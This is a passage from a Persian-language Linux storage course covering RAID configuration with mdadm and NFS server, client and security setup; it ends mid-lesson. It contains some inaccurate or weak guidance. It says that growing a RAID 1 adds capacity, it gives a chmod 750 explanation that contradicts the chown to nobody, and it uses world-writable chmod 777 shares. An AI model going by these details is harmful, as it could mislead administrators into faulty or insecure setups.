  • Deduplication باعث کاهش داده‌های تکراری شده و در ZFS به‌صورت داخلی، در Btrfs از طریق duperemove و در LVM با Thin Provisioning قابل اجرا است.
  • Compression در ZFS و Btrfs به‌صورت بومی پشتیبانی شده و در LVM می‌توان از VDO استفاده کرد.
  • ZFS برای Deduplication و Self-Healing بهترین گزینه است، اما مصرف RAM بالایی دارد.
  • Btrfs برای کاربران معمولی که به فشرده‌سازی و ذخیره‌سازی بهینه نیاز دارند، گزینه خوبی است.
  • LVM برای پیاده‌سازی Volumeهای مجازی‌شده مناسب است اما امکانات Self-Healing ندارد.

[/cdb_course_lesson][cdb_course_lesson title=”فصل 4. مدیریت RAID”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”مدیریت RAID: بررسی انواع پیکربندی، مزایا و معایب” subtitle=”توضیحات کامل”]RAID (Redundant Array of Independent Disks) یک فناوری برای افزایش سرعت، امنیت و قابلیت اطمینان ذخیره‌سازی داده‌ها از طریق ترکیب چندین دیسک سخت است. انواع مختلف RAID، مزایا و معایب خاص خود را دارند که در این بخش بررسی می‌شوند.


۱. RAID 0: افزایش عملکرد بدون افزونگی

RAID 0 داده‌ها را به بخش‌های کوچک تقسیم کرده و آن‌ها را بین دو یا چند دیسک توزیع می‌کند. این روش باعث افزایش سرعت خواندن و نوشتن می‌شود اما هیچ افزونگی (Redundancy) ندارد؛ در نتیجه، اگر یکی از دیسک‌ها خراب شود، کل داده‌ها از بین می‌روند.

۱.۱ مزایا و معایب RAID 0

✅ افزایش قابل‌توجه سرعت خواندن و نوشتن
✅ استفاده از تمام ظرفیت دیسک‌ها بدون هدررفت فضا
❌ فاقد افزونگی: خرابی یک دیسک به معنی از دست رفتن تمامی داده‌ها است
❌ نامناسب برای ذخیره داده‌های حیاتی

۱.۲ نحوه پیکربندی RAID 0 در Linux با mdadm

ایجاد RAID 0 با دو دیسک /dev/sdb و /dev/sdc

mdadm --create --verbose /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc

این دستور یک آرایه RAID 0 ایجاد می‌کند.

بررسی وضعیت RAID 0

cat /proc/mdstat

این دستور وضعیت RAID را نمایش می‌دهد.

فرمت و مونت کردن RAID 0

mkfs.ext4 /dev/md0
mount /dev/md0 /mnt/raid0

۲. RAID 1: افزونگی داده با همزمان‌سازی (Mirroring)

RAID 1 داده‌ها را به‌طور همزمان روی دو دیسک ذخیره می‌کند (Mirroring)، بنابراین در صورت خرابی یکی از دیسک‌ها، داده‌ها روی دیسک دوم باقی می‌مانند.

۲.۱ مزایا و معایب RAID 1

✅ افزایش قابلیت اطمینان: خرابی یک دیسک باعث از دست رفتن داده‌ها نمی‌شود
✅ خواندن سریع‌تر داده‌ها (با توجه به دو نسخه از داده‌ها)
❌ کاهش ظرفیت قابل استفاده: تنها نیمی از فضای ذخیره‌سازی در دسترس است
❌ بدون افزایش سرعت نوشتن، زیرا داده‌ها به‌طور همزمان روی دو دیسک نوشته می‌شوند

۲.۲ نحوه پیکربندی RAID 1 در Linux با mdadm

ایجاد RAID 1 با دو دیسک /dev/sdb و /dev/sdc

mdadm --create --verbose /dev/md1 --level=1 --raid-devices=2 /dev/sdb /dev/sdc

بررسی وضعیت همگام‌سازی RAID 1

cat /proc/mdstat

این دستور نشان می‌دهد که فرآیند همگام‌سازی (Syncing) در چه مرحله‌ای است.

فرمت و مونت کردن RAID 1

mkfs.ext4 /dev/md1
mount /dev/md1 /mnt/raid1

۳. RAID 5: توازن بین سرعت، امنیت و کارایی

RAID 5 از ۳ دیسک یا بیشتر تشکیل شده و از یک الگوریتم Parity برای محافظت از داده‌ها استفاده می‌کند. در صورت خرابی یک دیسک، داده‌های از دست رفته با استفاده از اطلاعات Parity قابل بازیابی هستند.

۳.۱ مزایا و معایب RAID 5

✅ افزایش سرعت خواندن به دلیل توزیع داده‌ها بین چند دیسک
✅ امنیت بالا با تحمل خرابی یک دیسک
✅ استفاده بهینه از فضای ذخیره‌سازی (فقط یک دیسک برای Parity اختصاص می‌یابد)
❌ کاهش سرعت نوشتن به دلیل نیاز به محاسبه Parity
❌ در صورت خرابی بیش از یک دیسک، تمام داده‌ها از بین می‌روند

۳.۲ نحوه پیکربندی RAID 5 در Linux با mdadm

ایجاد RAID 5 با سه دیسک /dev/sdb، /dev/sdc و /dev/sdd

mdadm --create --verbose /dev/md5 --level=5 --raid-devices=3 /dev/sdb /dev/sdc /dev/sdd

بررسی وضعیت RAID 5

cat /proc/mdstat

فرمت و مونت کردن RAID 5

mkfs.ext4 /dev/md5
mount /dev/md5 /mnt/raid5

۴. RAID 10: ترکیب سرعت و افزونگی با ترکیب RAID 0 و RAID 1

RAID 10 داده‌ها را به‌صورت Mirroring (RAID 1) و Striping (RAID 0) ذخیره می‌کند، که باعث افزایش همزمان سرعت و امنیت می‌شود. این آرایه حداقل ۴ دیسک نیاز دارد.

۴.۱ مزایا و معایب RAID 10

✅ سرعت بالا به دلیل Striping (افزایش سرعت خواندن و نوشتن)
✅ افزونگی قوی به دلیل Mirroring (تحمل خرابی دیسک‌ها)
❌ نیمی از فضای ذخیره‌سازی قابل استفاده است (به دلیل Mirroring)
❌ هزینه بالا به دلیل نیاز به حداقل ۴ دیسک

۴.۲ نحوه پیکربندی RAID 10 در Linux با mdadm

ایجاد RAID 10 با چهار دیسک /dev/sdb، /dev/sdc، /dev/sdd و /dev/sde

mdadm --create --verbose /dev/md10 --level=10 --raid-devices=4 /dev/sdb /dev/sdc /dev/sdd /dev/sde

بررسی وضعیت RAID 10

cat /proc/mdstat

فرمت و مونت کردن RAID 10

mkfs.ext4 /dev/md10
mount /dev/md10 /mnt/raid10

جمع‌بندی

  • RAID 0 برای افزایش سرعت ایده‌آل است اما هیچ امنیتی ندارد.
  • RAID 1 برای حفظ امنیت داده‌ها مفید است اما فضای ذخیره‌سازی را نصف می‌کند.
  • RAID 5 توازنی بین سرعت، ظرفیت و افزونگی دارد، اما عملکرد نوشتن کمی کندتر است.
  • RAID 10 بهترین گزینه برای سرعت و امنیت همزمان است، اما به هزینه بیشتری نیاز دارد.

انتخاب بهترین RAID بستگی به نیاز شما دارد؛ اگر فقط سرعت می‌خواهید، RAID 0؛ اگر امنیت مهم است، RAID 1؛ اگر توازن بین سرعت و افزونگی را می‌خواهید، RAID 5 یا RAID 10 بهترین گزینه‌ها هستند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”مدیریت RAID با mdadm: پیکربندی و استفاده عملی” subtitle=”توضیحات کامل”]mdadm (Multiple Device Administration) ابزار اصلی برای ایجاد، مدیریت و نظارت بر آرایه‌های RAID نرم‌افزاری در لینوکس است. این ابزار به کاربران اجازه می‌دهد که RAID 0، RAID 1، RAID 5، RAID 10 و سایر پیکربندی‌های RAID را پیاده‌سازی کنند.


۱. نصب mdadm در سیستم‌عامل‌های مختلف

۱.۱ نصب mdadm در Debian/Ubuntu
apt update
apt install -y mdadm
۱.۲ نصب mdadm در CentOS/RHEL
yum install -y mdadm
۱.۳ نصب mdadm در Arch Linux
pacman -S mdadm

۲. ایجاد RAID با mdadm

۲.۱ ایجاد RAID 0 (Striping) برای افزایش سرعت

ایجاد RAID 0 با دو دیسک /dev/sdb و /dev/sdc

mdadm --create --verbose /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc

بررسی وضعیت RAID 0

cat /proc/mdstat

فرمت و مونت کردن RAID 0

mkfs.ext4 /dev/md0
mkdir -p /mnt/raid0
mount /dev/md0 /mnt/raid0

اضافه کردن به /etc/fstab برای ماندگاری در بوت

echo "/dev/md0 /mnt/raid0 ext4 defaults 0 0" >> /etc/fstab

۲.۲ ایجاد RAID 1 (Mirroring) برای افزونگی داده‌ها
mdadm --create --verbose /dev/md1 --level=1 --raid-devices=2 /dev/sdb /dev/sdc

فرمت و مونت کردن RAID 1

mkfs.ext4 /dev/md1
mkdir -p /mnt/raid1
mount /dev/md1 /mnt/raid1
echo "/dev/md1 /mnt/raid1 ext4 defaults 0 0" >> /etc/fstab

۲.۳ ایجاد RAID 5 با سه دیسک برای تعادل بین سرعت و افزونگی
mdadm --create --verbose /dev/md5 --level=5 --raid-devices=3 /dev/sdb /dev/sdc /dev/sdd

فرمت و مونت کردن RAID 5

mkfs.ext4 /dev/md5
mkdir -p /mnt/raid5
mount /dev/md5 /mnt/raid5
echo "/dev/md5 /mnt/raid5 ext4 defaults 0 0" >> /etc/fstab

۲.۴ ایجاد RAID 10 برای ترکیب سرعت و افزونگی
mdadm --create --verbose /dev/md10 --level=10 --raid-devices=4 /dev/sdb /dev/sdc /dev/sdd /dev/sde

فرمت و مونت کردن RAID 10

mkfs.ext4 /dev/md10
mkdir -p /mnt/raid10
mount /dev/md10 /mnt/raid10
echo "/dev/md10 /mnt/raid10 ext4 defaults 0 0" >> /etc/fstab

۳. بررسی و نظارت بر RAID

۳.۱ بررسی وضعیت RAID
cat /proc/mdstat
mdadm --detail /dev/md0
۳.۲ مشاهده وضعیت دیسک‌های RAID
mdadm --query /dev/md0

۴. اضافه کردن یک دیسک جدید به RAID

۴.۱ اضافه کردن دیسک به RAID 1 (Mirror) پس از خرابی
mdadm --add /dev/md1 /dev/sdd
۴.۲ اضافه کردن دیسک به RAID 5
mdadm --add /dev/md5 /dev/sde
۴.۳ بررسی فرآیند همگام‌سازی (Resyncing)
cat /proc/mdstat

۵. حذف دیسک از RAID و جایگزینی آن

۵.۱ حذف یک دیسک خراب از RAID 1
mdadm --fail /dev/md1 /dev/sdb
mdadm --remove /dev/md1 /dev/sdb
۵.۲ جایگزینی دیسک در RAID 1
mdadm --add /dev/md1 /dev/sdf

۶. حذف یک آرایه RAID و بازگردانی دیسک‌ها

۶.۱ توقف RAID
umount /mnt/raid1
mdadm --stop /dev/md1
۶.۲ حذف RAID و پاک کردن سوپر بلاک (Superblock)
mdadm --zero-superblock /dev/sdb /dev/sdc
۶.۳ حذف RAID از /etc/mdadm/mdadm.conf
nano /etc/mdadm/mdadm.conf
# خط مربوط به RAID موردنظر را حذف کنید

۷. ذخیره و بازیابی تنظیمات RAID

۷.۱ ذخیره تنظیمات RAID در mdadm.conf
mdadm --detail --scan >> /etc/mdadm/mdadm.conf
۷.۲ بازیابی RAID در هنگام بوت
mdadm --assemble --scan

جمع‌بندی

  • mdadm ابزار اصلی مدیریت RAID نرم‌افزاری در لینوکس است و می‌تواند انواع RAID را ایجاد، بررسی و مدیریت کند.
  • RAID 0 برای افزایش سرعت، RAID 1 برای افزونگی، RAID 5 برای تعادل و RAID 10 برای سرعت و امنیت بهینه استفاده می‌شوند.
  • نظارت و مدیریت دیسک‌ها در RAID بسیار مهم است تا از خرابی داده جلوگیری شود.
  • پس از ایجاد RAID، اضافه کردن آن به /etc/fstab برای ماندگاری در بوت ضروری است.
  • RAIDهای ایجادشده با mdadm می‌توانند به‌صورت خودکار مونت شوند و در هنگام بوت سیستم بازیابی گردند.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”نصب و پیکربندی RAID با mdadm در لینوکس” subtitle=”توضیحات کامل”]RAID یک روش برای ترکیب چندین دیسک فیزیکی در یک واحد ذخیره‌سازی مجازی است که مزایای افزایش سرعت، افزونگی و بهینه‌سازی ظرفیت را به همراه دارد. mdadm ابزار اصلی برای ایجاد، مدیریت و نظارت بر آرایه‌های RAID نرم‌افزاری در لینوکس است.


۱. نصب mdadm در سیستم‌های مختلف

۱.۱ نصب در Debian و Ubuntu
apt update
apt install -y mdadm
۱.۲ نصب در CentOS و RHEL
yum install -y mdadm
۱.۳ نصب در Arch Linux
pacman -S mdadm

۲. بررسی وضعیت دیسک‌ها قبل از پیکربندی RAID

۲.۱ نمایش لیست دیسک‌های موجود
lsblk
fdisk -l
۲.۲ مشاهده پارتیشن‌های دیسک‌ها
blkid

۳. ایجاد پارتیشن‌های مخصوص RAID

۳.۱ ایجاد پارتیشن برای RAID با fdisk
fdisk /dev/sdb
  • گزینه n را برای ایجاد پارتیشن جدید انتخاب کنید.
  • گزینه p را برای پارتیشن Primary انتخاب کنید.
  • شماره پارتیشن (مثلاً 1) را وارد کنید.
  • مقدار پیش‌فرض First sector و Last sector را برای استفاده از کل فضای دیسک انتخاب کنید.
  • نوع پارتیشن را با t و کد fd (Linux RAID autodetect) تنظیم کنید.
  • پارتیشن را با w ذخیره کنید.
۳.۲ بررسی پارتیشن ایجاد‌شده
lsblk -o NAME,FSTYPE,SIZE,TYPE,MOUNTPOINT
۳.۳ اعمال تغییرات بدون ری‌استارت
partprobe

۴. ایجاد انواع RAID با mdadm

۴.۱ ایجاد RAID 0 (Striping) برای افزایش سرعت
mdadm --create --verbose /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc
۴.۲ ایجاد RAID 1 (Mirroring) برای افزونگی داده‌ها
mdadm --create --verbose /dev/md1 --level=1 --raid-devices=2 /dev/sdb /dev/sdc
۴.۳ ایجاد RAID 5 با سه دیسک برای تعادل بین سرعت و افزونگی
mdadm --create --verbose /dev/md5 --level=5 --raid-devices=3 /dev/sdb /dev/sdc /dev/sdd
۴.۴ ایجاد RAID 10 برای ترکیب سرعت و افزونگی
mdadm --create --verbose /dev/md10 --level=10 --raid-devices=4 /dev/sdb /dev/sdc /dev/sdd /dev/sde

۵. بررسی وضعیت RAID و همگام‌سازی داده‌ها

۵.۱ نمایش وضعیت RAID
cat /proc/mdstat
۵.۲ مشاهده جزئیات RAID
mdadm --detail /dev/md0

۶. فرمت و مونت کردن RAID

۶.۱ فرمت کردن RAID با ext4
mkfs.ext4 /dev/md0
۶.۲ ایجاد دایرکتوری و مونت کردن RAID
mkdir -p /mnt/raid0
mount /dev/md0 /mnt/raid0
۶.۳ اضافه کردن به /etc/fstab برای ماندگاری در بوت
echo "/dev/md0 /mnt/raid0 ext4 defaults 0 0" >> /etc/fstab

۷. ذخیره و بازیابی تنظیمات RAID

۷.۱ ذخیره تنظیمات RAID در mdadm.conf
mdadm --detail --scan >> /etc/mdadm/mdadm.conf
۷.۲ بازیابی RAID در هنگام بوت
mdadm --assemble --scan

۸. اضافه کردن و جایگزینی دیسک‌ها در RAID

۸.۱ اضافه کردن یک دیسک جدید به RAID 1 پس از خرابی
mdadm --add /dev/md1 /dev/sdd
۸.۲ جایگزینی دیسک خراب در RAID 5
mdadm --fail /dev/md5 /dev/sdb
mdadm --remove /dev/md5 /dev/sdb
mdadm --add /dev/md5 /dev/sdf
۸.۳ بررسی فرآیند بازسازی (Resyncing)
cat /proc/mdstat

۹. حذف یک آرایه RAID و بازگردانی دیسک‌ها

۹.۱ توقف RAID
umount /mnt/raid1
mdadm --stop /dev/md1
۹.۲ حذف RAID و پاک کردن سوپر بلاک (Superblock)
mdadm --zero-superblock /dev/sdb /dev/sdc
۹.۳ حذف RAID از /etc/mdadm/mdadm.conf
nano /etc/mdadm/mdadm.conf
# خط مربوط به RAID موردنظر را حذف کنید

جمع‌بندی

  • mdadm ابزار استاندارد مدیریت RAID در لینوکس است و امکان ایجاد، نظارت و مدیریت RAID را فراهم می‌کند.
  • RAID 0 برای افزایش سرعت، RAID 1 برای افزونگی، RAID 5 برای تعادل و RAID 10 برای ترکیب سرعت و افزونگی استفاده می‌شوند.
  • پس از ایجاد RAID، اضافه کردن آن به /etc/fstab برای ماندگاری در بوت ضروری است.
  • نظارت مداوم بر RAID و جایگزینی سریع دیسک‌های معیوب برای جلوگیری از از دست رفتن داده‌ها اهمیت بالایی دارد.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”مدیریت Array‌ها و تغییرات در RAID با mdadm” subtitle=”توضیحات کامل”]مدیریت آرایه‌های RAID شامل اضافه کردن دیسک جدید، حذف دیسک معیوب، افزایش ظرفیت آرایه و تغییر سطوح RAID است. ابزار mdadm به‌عنوان استاندارد مدیریت RAID نرم‌افزاری در لینوکس، این امکان را فراهم می‌کند که بدون از دست رفتن داده‌ها، تغییرات موردنیاز را اعمال کنیم.


۱. بررسی وضعیت فعلی آرایه RAID

۱.۱ مشاهده وضعیت کلی RAID
cat /proc/mdstat
۱.۲ نمایش جزئیات آرایه RAID
mdadm --detail /dev/md0
۱.۳ بررسی وضعیت هر دیسک در آرایه
mdadm --examine /dev/sdb /dev/sdc /dev/sdd

۲. اضافه کردن دیسک جدید به RAID

۲.۱ اضافه کردن دیسک جدید به RAID 1
mdadm --add /dev/md1 /dev/sdd
۲.۲ اضافه کردن دیسک جدید به RAID 5
mdadm --add /dev/md5 /dev/sde
۲.۳ بررسی وضعیت بازسازی پس از اضافه کردن دیسک
cat /proc/mdstat

۳. حذف و جایگزینی دیسک معیوب در RAID

۳.۱ علامت‌گذاری دیسک خراب در RAID 1
mdadm --fail /dev/md1 /dev/sdb
۳.۲ حذف دیسک خراب از RAID 1
mdadm --remove /dev/md1 /dev/sdb
۳.۳ اضافه کردن دیسک جایگزین جدید به RAID 1
mdadm --add /dev/md1 /dev/sdf
۳.۴ حذف دیسک خراب و جایگزینی در RAID 5
mdadm --fail /dev/md5 /dev/sdc
mdadm --remove /dev/md5 /dev/sdc
mdadm --add /dev/md5 /dev/sdg

۴. افزایش ظرفیت RAID بدون از دست دادن داده‌ها

۴.۱ افزایش ظرفیت RAID 1 با یک دیسک جدید
mdadm --add /dev/md1 /dev/sdf
mdadm --grow /dev/md1 --raid-devices=3
۴.۲ افزایش ظرفیت RAID 5 با یک دیسک جدید
mdadm --add /dev/md5 /dev/sdg
mdadm --grow /dev/md5 --raid-devices=4
۴.۳ بررسی روند بازسازی پس از افزایش ظرفیت
cat /proc/mdstat

۵. تغییر سطح RAID بدون از بین رفتن داده‌ها

۵.۱ تغییر RAID 1 به RAID 5 (از دو دیسک به سه دیسک)
mdadm --grow /dev/md1 --level=5 --raid-devices=3
۵.۲ تغییر RAID 5 به RAID 6 برای افزایش افزونگی
mdadm --grow /dev/md5 --level=6 --raid-devices=4

۶. حذف و توقف آرایه RAID

۶.۱ آن‌مونت کردن آرایه
umount /mnt/raid1
۶.۲ توقف RAID
mdadm --stop /dev/md1
۶.۳ حذف اطلاعات RAID از دیسک‌ها
mdadm --zero-superblock /dev/sdb /dev/sdc
۶.۴ حذف RAID از mdadm.conf
nano /etc/mdadm/mdadm.conf
# خط مربوط به آرایه RAID موردنظر را حذف کنید

۷. ذخیره تغییرات و پایداری در بوت

۷.۱ ذخیره تغییرات در mdadm.conf
mdadm --detail --scan >> /etc/mdadm/mdadm.conf
۷.۲ بازیابی RAID هنگام بوت
mdadm --assemble --scan

جمع‌بندی

  • mdadm امکان مدیریت انعطاف‌پذیر RAID را بدون از دست رفتن داده‌ها فراهم می‌کند.
  • اضافه کردن، حذف و جایگزینی دیسک‌ها در RAID باید با دقت انجام شود تا از خرابی داده‌ها جلوگیری شود.
  • تغییر سطح RAID مانند افزایش ظرفیت یا تبدیل RAID 5 به RAID 6 نیازمند هماهنگی و زمان‌بندی مناسب است.
  • ذخیره تنظیمات در mdadm.conf برای پایداری پس از بوت ضروری است.

[/cdb_course_lesson][cdb_course_lesson title=”فصل 5. پروتکل‌های ذخیره‌سازی شبکه‌ای”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”نحوه پیکربندی NFS Server و Client در لینوکس” subtitle=”توضیحات کامل”]NFS (Network File System) یک پروتکل اشتراک‌گذاری فایل در شبکه است که امکان دسترسی به فایل‌ها و دایرکتوری‌ها را به‌صورت ریموت و شبیه به فایل‌های محلی فراهم می‌کند. این سیستم بیشتر در محیط‌های سروری و شبکه‌ای برای اشتراک‌گذاری داده‌ها بین کلاینت‌های مختلف استفاده می‌شود.


۱. نصب و راه‌اندازی NFS Server

۱.۱ نصب پکیج‌های موردنیاز در سرور (Ubuntu/Debian)
apt update
apt install -y nfs-kernel-server
۱.۲ نصب پکیج‌های موردنیاز در سرور (CentOS/RHEL)
yum install -y nfs-utils

۲. ایجاد و تنظیم دایرکتوری اشتراک‌گذاری در NFS Server

۲.۱ ایجاد دایرکتوری برای اشتراک‌گذاری
mkdir -p /mnt/nfs_share
۲.۲ تنظیم سطح دسترسی مناسب
chown -R nobody:nogroup /mnt/nfs_share
chmod 777 /mnt/nfs_share
۲.۳ تنظیم مسیر اشتراک‌گذاری در فایل تنظیمات /etc/exports
nano /etc/exports

افزودن خط زیر در فایل /etc/exports برای اشتراک‌گذاری دایرکتوری

/mnt/nfs_share 192.168.1.0/24(rw,sync,no_subtree_check)

گزینه‌های استفاده شده:

  • rw → دسترسی خواندن و نوشتن
  • sync → تضمین می‌کند که داده‌ها قبل از ارسال به کلاینت‌ها در دیسک ذخیره شوند
  • no_subtree_check → بهبود عملکرد و کاهش مشکلات مجوزها
۲.۴ اعمال تغییرات و راه‌اندازی مجدد سرویس NFS
exportfs -a
systemctl restart nfs-server
۲.۵ فعال‌سازی سرویس NFS در بوت سیستم
systemctl enable nfs-server
۲.۶ بررسی وضعیت سرویس NFS
systemctl status nfs-server

۳. تنظیمات فایروال در NFS Server

۳.۱ باز کردن پورت‌های موردنیاز در فایروال (Ubuntu/Debian)
ufw allow from 192.168.1.0/24 to any port nfs
ufw enable
۳.۲ باز کردن پورت‌های موردنیاز در فایروال (CentOS/RHEL)
firewall-cmd --permanent --add-service=nfs
firewall-cmd --reload

۴. پیکربندی NFS Client

۴.۱ نصب پکیج‌های موردنیاز در کلاینت (Ubuntu/Debian)
apt install -y nfs-common
۴.۲ نصب پکیج‌های موردنیاز در کلاینت (CentOS/RHEL)
yum install -y nfs-utils
۴.۳ ایجاد دایرکتوری برای اتصال به NFS Server
mkdir -p /mnt/nfs_client
۴.۴ اتصال کلاینت به NFS Server به‌صورت موقت
mount -t nfs 192.168.1.10:/mnt/nfs_share /mnt/nfs_client

در اینجا 192.168.1.10 آدرس سرور NFS است.

۴.۵ بررسی صحت اتصال NFS در کلاینت
df -h | grep nfs
۴.۶ تنظیم اتصال دائمی NFS در کلاینت (ویرایش /etc/fstab)
nano /etc/fstab

افزودن خط زیر در فایل /etc/fstab برای اتصال خودکار در هنگام بوت:

192.168.1.10:/mnt/nfs_share /mnt/nfs_client nfs defaults 0 0
۴.۷ بررسی عملکرد و انتقال فایل آزمایشی
touch /mnt/nfs_client/testfile.txt
ls -l /mnt/nfs_client

۵. حذف و قطع اتصال از NFS Server

۵.۱ جدا کردن دایرکتوری NFS از کلاینت به‌صورت موقت
umount /mnt/nfs_client
۵.۲ حذف ورودی NFS از /etc/fstab برای جلوگیری از اتصال خودکار
nano /etc/fstab

خط مربوط به NFS را حذف کنید.

۵.۳ توقف سرویس NFS در سرور
systemctl stop nfs-server
۵.۴ غیرفعال کردن سرویس NFS در بوت سیستم
systemctl disable nfs-server

جمع‌بندی

  • NFS به‌عنوان یک راهکار پرکاربرد برای اشتراک‌گذاری فایل‌ها در شبکه استفاده می‌شود.
  • برای راه‌اندازی NFS Server، ابتدا پکیج‌ها نصب شده و مسیر اشتراک‌گذاری در /etc/exports تعریف می‌شود.
  • در کلاینت‌ها نیز با نصب nfs-common و تنظیم /etc/fstab می‌توان اتصال دائمی ایجاد کرد.
  • مدیریت صحیح دسترسی‌ها و تنظیمات فایروال در سرور و کلاینت ضروری است.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”تنظیمات امنیتی و دسترسی‌ها در NFS” subtitle=”توضیحات کامل”]NFS به‌طور پیش‌فرض برای شبکه‌های داخلی طراحی شده و دارای ویژگی‌های امنیتی محدودی است. برای استفاده ایمن از این پروتکل در محیط‌های تولیدی، باید اقداماتی مانند کنترل سطح دسترسی، تنظیم فایروال، استفاده از رمزگذاری و احراز هویت را در نظر گرفت.


۱. محدود کردن دسترسی کلاینت‌ها در NFS Server

۱.۱ محدود کردن دسترسی در فایل /etc/exports

فایل /etc/exports کنترل می‌کند که چه کلاینت‌هایی مجاز به دسترسی به دایرکتوری‌های اشتراک‌گذاری شده هستند. برای افزایش امنیت، بهتر است دسترسی فقط به IPهای خاص یا یک زیرشبکه خاص داده شود.

nano /etc/exports

نمونه تنظیمات برای مجاز کردن دسترسی فقط به کلاینت‌های خاص:

/mnt/nfs_share 192.168.1.100(rw,sync,no_root_squash)
/mnt/nfs_secure 192.168.1.0/24(rw,sync,root_squash,no_subtree_check)

توضیحات:

  • 192.168.1.100 → فقط این کلاینت اجازه دسترسی به /mnt/nfs_share را دارد.
  • 192.168.1.0/24 → تمام کلاینت‌های این زیرشبکه اجازه دسترسی به /mnt/nfs_secure را دارند.
  • rw → مجوز خواندن و نوشتن را می‌دهد.
  • sync → تضمین می‌کند که تمام داده‌ها قبل از ارسال به کلاینت‌ها روی دیسک ذخیره شوند.
  • root_squash → سطح دسترسی root را به کاربر nobody کاهش می‌دهد تا امنیت افزایش یابد.
  • no_root_squash → به کاربر root کلاینت اجازه دسترسی سطح root را می‌دهد (پیشنهاد نمی‌شود).
  • no_subtree_check → بهبود عملکرد و کاهش مشکلات مجوزها.
۱.۲ اعمال تغییرات در تنظیمات NFS

پس از ویرایش فایل /etc/exports، تغییرات باید اعمال شوند:

exportfs -ra
systemctl restart nfs-server

۲. تنظیم مجوزها و مالکیت فایل‌ها

۲.۱ تعیین مالکیت مناسب دایرکتوری اشتراک‌گذاری
chown -R nobody:nogroup /mnt/nfs_secure
chmod -R 750 /mnt/nfs_secure

توضیحات:

  • 750 → مالک (root) دارای مجوز خواندن، نوشتن و اجرا است، گروه فقط مجوز خواندن و اجرا دارد، و سایر کاربران هیچ دسترسی ندارند.
۲.۲ تنظیم ACL برای کنترل دقیق‌تر دسترسی‌ها

اگر به کنترل سطح دسترسی دقیق‌تر نیاز باشد، می‌توان از ACL (Access Control List) استفاده کرد:

setfacl -m u:username:rwx /mnt/nfs_secure
setfacl -m g:groupname:rx /mnt/nfs_secure

۳. تنظیم فایروال برای محدود کردن دسترسی NFS

۳.۱ اجازه دادن به NFS فقط برای کلاینت‌های مجاز (Ubuntu/Debian)
ufw allow from 192.168.1.0/24 to any port nfs
ufw enable
۳.۲ اجازه دادن به NFS فقط برای کلاینت‌های مجاز (CentOS/RHEL)
firewall-cmd --permanent --add-service=nfs
firewall-cmd --permanent --add-service=rpc-bind
firewall-cmd --permanent --add-service=mountd
firewall-cmd --reload

۴. فعال‌سازی احراز هویت Kerberos برای امنیت بیشتر

۴.۱ نصب Kerberos در سرور NFS
apt install -y nfs-kernel-server krb5-user libnfsidmap2 nfs-common
۴.۲ تنظیمات Kerberos در NFS

فایل /etc/exports را ویرایش کنید و گزینه‌های sec=krb5 یا sec=krb5p را اضافه کنید:

/mnt/nfs_secure 192.168.1.0/24(rw,sync,sec=krb5p)

انواع احراز هویت Kerberos:

  • sec=krb5 → احراز هویت کاربران قبل از دسترسی به NFS
  • sec=krb5i → احراز هویت به همراه تضمین صحت داده‌ها
  • sec=krb5p → احراز هویت به همراه رمزگذاری کامل داده‌ها

۵. مانیتورینگ و بررسی امنیتی NFS

۵.۱ بررسی کلاینت‌های متصل به NFS Server
showmount -a
۵.۲ بررسی گزارشات لاگ NFS برای شناسایی فعالیت‌های مشکوک
journalctl -u nfs-server --since "1 hour ago"

جمع‌بندی

  • دسترسی به NFS باید فقط برای کلاینت‌های مجاز از طریق تنظیمات /etc/exports محدود شود.
  • استفاده از root_squash برای جلوگیری از دسترسی root کلاینت‌ها پیشنهاد می‌شود.
  • تنظیم فایروال برای بستن دسترسی‌های غیرمجاز ضروری است.
  • احراز هویت Kerberos برای افزایش امنیت و رمزگذاری داده‌ها توصیه می‌شود.
  • بررسی مداوم کلاینت‌های متصل و مانیتورینگ لاگ‌ها می‌تواند به شناسایی حملات احتمالی کمک کند.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”استفاده از NFS در محیط‌های توزیع‌شده” subtitle=”توضیحات کامل”]NFS (Network File System) یکی از پرکاربردترین روش‌های به‌اشتراک‌گذاری فایل‌ها در محیط‌های توزیع‌شده است که امکان دسترسی چندین کلاینت به فایل‌های مشترک را از طریق شبکه فراهم می‌کند. در این بخش، نحوه پیکربندی NFS برای محیط‌های توزیع‌شده، بهینه‌سازی عملکرد، و مدیریت دسترسی‌ها بررسی خواهد شد.


۱. طراحی معماری NFS در محیط‌های توزیع‌شده

۱.۱ معماری متمرکز (Single NFS Server)

در این مدل، یک سرور NFS اصلی برای تمام کلاینت‌ها به‌عنوان نقطه مرکزی ذخیره‌سازی داده عمل می‌کند.

✅ مزایا:

  • پیاده‌سازی ساده
  • مدیریت متمرکز داده‌ها

❌ معایب:

  • مشکل تک‌نقطه شکست (Single Point of Failure)
  • فشار زیاد روی سرور NFS
۱.۲ معماری چندسروری (Multiple NFS Servers)

در این مدل، چندین سرور NFS با توزیع بار بین کلاینت‌ها پیاده‌سازی می‌شوند. این روش با Load Balancer یا NFS Failover پیاده‌سازی می‌شود.

✅ مزایا:

  • افزایش مقیاس‌پذیری
  • جلوگیری از مشکل تک‌نقطه شکست

❌ معایب:

  • پیچیدگی در مدیریت فایل‌ها و همگام‌سازی داده‌ها

۲. راه‌اندازی NFS برای محیط‌های توزیع‌شده

۲.۱ نصب NFS روی سرور و کلاینت‌ها

روی سرور NFS:

apt update && apt install -y nfs-kernel-server

روی کلاینت‌های NFS:

apt update && apt install -y nfs-common
۲.۲ ایجاد دایرکتوری اشتراک‌گذاری
mkdir -p /mnt/nfs_share
chown nobody:nogroup /mnt/nfs_share
chmod 777 /mnt/nfs_share
۲.۳ تنظیمات اشتراک‌گذاری در سرور NFS

فایل /etc/exports را ویرایش کنید:

nano /etc/exports

محتویات:

